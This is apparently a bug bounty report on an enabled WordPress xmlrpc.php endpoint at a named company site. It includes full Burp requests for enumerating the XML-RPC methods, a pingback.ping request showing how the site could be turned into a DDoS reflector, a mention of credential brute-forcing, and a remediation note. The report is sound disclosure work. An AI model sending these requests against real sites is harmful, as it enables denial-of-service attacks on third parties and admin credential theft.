xmlrpc.php file is enable it will used for (DOS) and bruteforce attack

Wordpress that have xmlrpc.php enabled for pingbacks, trackbacks, etc. can be made as a part of a huge botnet causing a major DDOS. The website https://www.formassembly.com/ has the xmlrpc.php file enabled and could thus be potentially used for such an attack against other victim hosts. In order to determine whether the xmlrpc.php file is enabled or not, using the Repeater tab in Burp, send the request below. POST /wp/xmlrpc.php HTTP/1.1 Host: www.formassembly.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 91 <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall> ***==================================================*** HTTP/1.1 200 OK Date: Wed, 21 Nov 2018 16:43:06 GMT Content-Type: text/xml; charset=UTF-8 Connection: close Server: nginx Vary: Accept-Encoding X-XSS-Protection: 1; mode=block Content-Length: 4272 <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><string>system.multicall</string></value> <value><string>system.listMethods</string></value> <value><string>system.getCapabilities</string></value> <value><string>demo.addTwoNumbers</string></value> <value><string>demo.sayHello</string></value> <value><string>pingback.extensions.getPingbacks</string></value> <value><string>pingback.ping</string></value> <value><string>mt.publishPost</string></value> <value><string>mt.getTrackbackPings</string></value> <value><string>mt.supportedTextFilters</string></value> <value><string>mt.supportedMethods</string></value> <value><string>mt.setPostCategories</string></value> <value><string>mt.getPostCategories</string></value> <value><string>mt.getRecentPostTitles</string></value> <value><string>mt.getCategoryList</string></value> <value><string>metaWeblog.getUsersBlogs</string></value> <value><string>metaWeblog.deletePost</string></value> <value><string>metaWeblog.newMediaObject</string></value> <value><string>metaWeblog.getCategories</string></value> <value><string>metaWeblog.getRecentPosts</string></value> <value><string>metaWeblog.getPost</string></value> <value><string>metaWeblog.editPost</string></value> <value><string>metaWeblog.newPost</string></value> <value><string>blogger.deletePost</string></value> <value><string>blogger.editPost</string></value> <value><string>blogger.newPost</string></value> <value><string>blogger.getRecentPosts</string></value> <value><string>blogger.getPost</string></value> <value><string>blogger.getUserInfo</string></value> <value><string>blogger.getUsersBlogs</string></value> <value><string>wp.restoreRevision</string></value> <value><string>wp.getRevisions</string></value> <value><string>wp.getPostTypes</string></value> <value><string>wp.getPostType</string></value> <value><string>wp.getPostFormats</string></value> <value><string>wp.getMediaLibrary</string></value> <value><string>wp.getMediaItem</string></value> <value><string>wp.getCommentStatusList</string></value> <value><string>wp.newComment</string></value> <value><string>wp.editComment</string></value> <value><string>wp.deleteComment</string></value> <value><string>wp.getComments</string></value> <value><string>wp.getComment</string></value> <value><string>wp.setOptions</string></value> <value><string>wp.getOptions</string></value> <value><string>wp.getPageTemplates</string></value> <value><string>wp.getPageStatusList</string></value> <value><string>wp.getPostStatusList</string></value> <value><string>wp.getCommentCount</string></value> <value><string>wp.deleteFile</string></value> <value><string>wp.uploadFile</string></value> <value><string>wp.suggestCategories</string></value> <value><string>wp.deleteCategory</string></value> <value><string>wp.newCategory</string></value> <value><string>wp.getTags</string></value> <value><string>wp.getCategories</string></value> <value><string>wp.getAuthors</string></value> <value><string>wp.getPageList</string></value> <value><string>wp.editPage</string></value> <value><string>wp.deletePage</string></value> <value><string>wp.newPage</string></value> <value><string>wp.getPages</string></value> <value><string>wp.getPage</string></value> <value><string>wp.editProfile</string></value> <value><string>wp.getProfile</string></value> <value><string>wp.getUsers</string></value> <value><string>wp.getUser</string></value> <value><string>wp.getTaxonomies</string></value> <value><string>wp.getTaxonomy</string></value> <value><string>wp.getTerms</string></value> <value><string>wp.getTerm</string></value> <value><string>wp.deleteTerm</string></value> <value><string>wp.editTerm</string></value> <value><string>wp.newTerm</string></value> <value><string>wp.getPosts</string></value> <value><string>wp.getPost</string></value> <value><string>wp.deletePost</string></value> <value><string>wp.editPost</string></value> <value><string>wp.newPost</string></value> <value><string>wp.getUsersBlogs</string></value> </data></array> </value> </param> </params> </methodResponse> Notice that a successful response is received showing that the xmlrpc.php file is enabled. Now, considering the domain https://www.formassembly.com the xmlrpc.php file discussed above could potentially be abused to cause a DDOS attack against a victim host. This is achieved by simply sending a request that looks like below. POST /wp/xmlrpc.php HTTP/1.1 Host: www.formassembly.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 91 <methodCall> <methodName>pingback.ping</methodName> <params> <param> <value><string>http://<***YOUR SERVER*** ></string></value> </param> <param> <value><string>https://www.formassembly.com/</string></value> </param> </params> </methodCall> ***remediation:*** If the XMLRPC.php file is not being used, it should be disabled and removed completely to avoid any potential risks. Otherwise, it should at the very least be blocked from external access. ***Thank you*** note: screenshots are given below ## Impact This method is also used for brute force attacks to stealing the admin credentials and other important credentials This can be automated from multiple hosts and be used to cause a mass DDOS attack on the victim.